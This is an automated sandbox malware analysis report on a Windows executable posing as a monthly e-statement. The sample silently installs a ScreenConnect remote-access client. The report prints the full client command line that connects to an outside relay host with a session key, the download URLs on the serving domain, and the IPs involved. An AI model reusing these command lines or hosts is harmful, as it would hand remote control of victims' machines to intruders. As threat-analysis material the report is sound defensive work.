Edit tour

Windows Analysis Report
monthly-eStatementForum120478962.Client.exe

Overview

General Information

Sample name:	monthly-eStatementForum120478962.Client.exe
Analysis ID:	1551950
MD5:	27bd2490fd75556aab2df57ea7c1147f
SHA1:	4eb9656ede1fed23fdaeb67815afcd489ded0f77
SHA256:	7d6376247db9e267f27d1d6bf32b48afcab0ad277706fc0135d803645f7852a5
Infos:

Detection

ScreenConnect Tool

Score:	51
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Compliance

Score:	33
Range:	0 - 100

Signatures

.NET source code references suspicious native API functions

AI detected suspicious sample

Contains functionality to hide user accounts

Detected potential unwanted application

Enables network access during safeboot for specific services

Reads the Security eventlog

Reads the System eventlog

AV process strings found (often used to terminate AV products)

Adds / modifies Windows certificates

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates or modifies windows services

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops certificate files (DER)

EXE planting / hijacking vulnerabilities found

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Launches processes in debugging mode, may be used to hinder debugging

May sleep (evasive loops) to hinder dynamic analysis

May use bcdedit to modify the Windows boot settings

Modifies existing windows services

One or more processes crash

PE file contains an invalid checksum

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Dfsvc.EXE Network Connection To Uncommon Ports

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected ScreenConnect Tool

Classification

Process Tree

System is w10x64

monthly-eStatementForum120478962.Client.exe (PID: 2260 cmdline: "C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe" MD5: 27BD2490FD75556AAB2DF57EA7C1147F)

dfsvc.exe (PID: 6172 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe" MD5: B4088F44B80D363902E11F897A7BAC09)

ScreenConnect.WindowsClient.exe (PID: 5432 cmdline: "C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe" MD5: 20AB8141D958A58AADE5E78671A719BF)

ScreenConnect.ClientService.exe (PID: 5764 cmdline: "C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Newboom%20Session" "1" MD5: 361BCC2CB78C75DD6F583AF81834E447)

WerFault.exe (PID: 1864 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2260 -s 700 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 3224 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 4464 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 2260 -ip 2260 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 2972 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 3524 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

ScreenConnect.ClientService.exe (PID: 1440 cmdline: "C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Newboom%20Session" "1" MD5: 361BCC2CB78C75DD6F583AF81834E447)

ScreenConnect.WindowsClient.exe (PID: 3836 cmdline: "C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe" "RunRole" "d9b9f156-2a83-4b1f-b5ba-62c20ee02a77" "User" MD5: 20AB8141D958A58AADE5E78671A719BF)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000009.00000000.2436546858.0000000000BA2000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
00000002.00000002.2973425425.0000025D1D9AB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: dfsvc.exe PID: 6172	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: ScreenConnect.WindowsClient.exe PID: 5432	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: ScreenConnect.ClientService.exe PID: 5764	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
9.0.ScreenConnect.WindowsClient.exe.ba0000.0.unpack	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security

Sigma Signatures

System Summary

Sigma detected: Dfsvc.EXE Network Connection To Uncommon Ports

Source: Network Connection

Author: Nasreddine Bencherchali (Nextron Systems): Data: DestinationIp: 192.168.2.5, DestinationIsIpv6: false, DestinationPort: 49705, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe, Initiated: true, ProcessId: 6172, Protocol: tcp, SourceIp: 194.59.30.201, SourceIsIpv6: false, SourcePort: 443

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, ProcessId: 3224, ProcessName: svchost.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T11:01:18.080245+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.5	49729	TCP
2024-11-08T11:01:55.669523+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.5	49930	TCP

ET MALWARE Possible Windows executable sent when remote host claims to send html content

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T11:01:13.781744+0100	2009897	1	A Network Trojan was detected	194.59.30.201	443	192.168.2.5	49722	TCP
2024-11-08T11:01:15.767488+0100	2009897	1	A Network Trojan was detected	194.59.30.201	443	192.168.2.5	49724	TCP
2024-11-08T11:01:21.003552+0100	2009897	1	A Network Trojan was detected	194.59.30.201	443	192.168.2.5	49736	TCP
2024-11-08T11:01:22.684812+0100	2009897	1	A Network Trojan was detected	194.59.30.201	443	192.168.2.5	49743	TCP
2024-11-08T11:01:25.138450+0100	2009897	1	A Network Trojan was detected	194.59.30.201	443	192.168.2.5	49756	TCP
2024-11-08T11:01:26.702035+0100	2009897	1	A Network Trojan was detected	194.59.30.201	443	192.168.2.5	49767	TCP
2024-11-08T11:01:32.679860+0100	2009897	1	A Network Trojan was detected	194.59.30.201	443	192.168.2.5	49802	TCP
2024-11-08T11:01:37.035829+0100	2009897	1	A Network Trojan was detected	194.59.30.201	443	192.168.2.5	49818	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 93.5% probability

Cryptography

Uses Microsoft's Enhanced Cryptographic Provider

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Code function: 0_2_009A1000 LocalAlloc,LocalAlloc,GetModuleFileNameW,CertOpenSystemStoreA,LocalAlloc,LocalAlloc,CryptQueryObject,LocalFree,CryptMsgGetParam,CryptMsgGetParam,LocalAlloc,LocalAlloc,CryptMsgGetParam,CertCreateCertificateContext,CertAddCertificateContextToStore,CertFreeCertificateContext,LocalFree,CryptMsgGetParam,LocalFree,LocalFree,CryptMsgGetParam,CryptMsgGetParam,CertFindAttribute,CertFindAttribute,CertFindAttribute,LoadLibraryA,GetProcAddress,Sleep,CertDeleteCertificateFromStore,CertDeleteCertificateFromStore,CertCloseStore,LocalFree,LocalFree,LocalFree,

0_2_009A1000

Privilege Escalation

EXE planting / hijacking vulnerabilities found

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.ClientService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsFileManager.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe	Jump to behavior

Compliance

EXE planting / hijacking vulnerabilities found

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.ClientService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsFileManager.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe	Jump to behavior

Uses 32bit PE files

Source: monthly-eStatementForum120478962.Client.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

PE / OLE file has a valid certificate

Source: monthly-eStatementForum120478962.Client.exe

Static PE information: certificate valid

Uses secure TLS version for HTTPS connections

Source: unknown	HTTPS traffic detected: 194.59.30.201:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.59.30.201:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.59.30.201:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.59.30.201:443 -> 192.168.2.5:49736 version: TLS 1.2

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: monthly-eStatementForum120478962.Client.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Binary contains paths to debug symbols

Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbU source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1D8E9000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DB2A000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.2447633526.0000000002CA2000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.Client.dll.2.dr, ScreenConnect.Client.dll0.2.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClickOnceRunner\Release\ClickOnceRunner.pdb source: monthly-eStatementForum120478962.Client.exe
Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1DB2A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1D8E5000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DDBC000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000A.00000002.2445494046.00000000027A2000.00000002.00000001.01000000.0000000D.sdmp, ScreenConnect.WindowsClient.exe, 0000000C.00000002.3289162550.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000C.00000002.3288573826.00000000012B0000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.dll.2.dr, ScreenConnect.ClientService.dll0.2.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdbe source: ScreenConnect.WindowsClient.exe, 00000009.00000000.2436546858.0000000000BA2000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsClient.exe.2.dr
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 0000000A.00000000.2441384367.00000000009BD000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1D916000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DB2A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DC3E000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.2451601548.000000001BEB2000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Windows.dll0.2.dr, ScreenConnect.Windows.dll.2.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000009.00000000.2436546858.0000000000BA2000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsClient.exe.2.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdbW] source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1D916000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DB2A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DC3E000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.2451601548.000000001BEB2000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Windows.dll0.2.dr, ScreenConnect.Windows.dll.2.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1D8E9000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DB2A000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.2447633526.0000000002CA2000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.Client.dll.2.dr, ScreenConnect.Client.dll0.2.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1D738000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DB2A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DC3E000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000A.00000002.2446246290.0000000004CB2000.00000002.00000001.01000000.0000000E.sdmp, ScreenConnect.Core.dll0.2.dr, ScreenConnect.Core.dll.2.dr

Spreading

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Code function: 0_2_009A4A4B FindFirstFileExA,

0_2_009A4A4B

Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\Apps\2.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\Apps\	Jump to behavior

Networking

Enables network access during safeboot for specific services

Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe

Registry value created: NULL Service

Detected TCP or UDP traffic on non-standard ports

Source: global traffic

TCP traffic: 192.168.2.5:49860 -> 194.59.30.201:8041

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Newboom%20Session HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.manifest HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.exe HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe.config HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe.config HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe.config HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.dll HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.dll HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Windows.dll HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Core.dll HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip

IP address seen in connection with other malware

Source: Joe Sandbox View

IP Address: 194.59.30.201 194.59.30.201

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Suricata IDS alerts with low severity for network traffic

Source: Network traffic	Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 194.59.30.201:443 -> 192.168.2.5:49722
Source: Network traffic	Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 194.59.30.201:443 -> 192.168.2.5:49756
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.5:49729
Source: Network traffic	Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 194.59.30.201:443 -> 192.168.2.5:49724
Source: Network traffic	Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 194.59.30.201:443 -> 192.168.2.5:49743
Source: Network traffic	Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 194.59.30.201:443 -> 192.168.2.5:49736
Source: Network traffic	Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 194.59.30.201:443 -> 192.168.2.5:49802
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.5:49930
Source: Network traffic	Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 194.59.30.201:443 -> 192.168.2.5:49767
Source: Network traffic	Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 194.59.30.201:443 -> 192.168.2.5:49818

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Newboom%20Session HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.manifest HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.exe HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzipConnection: Keep-Alive
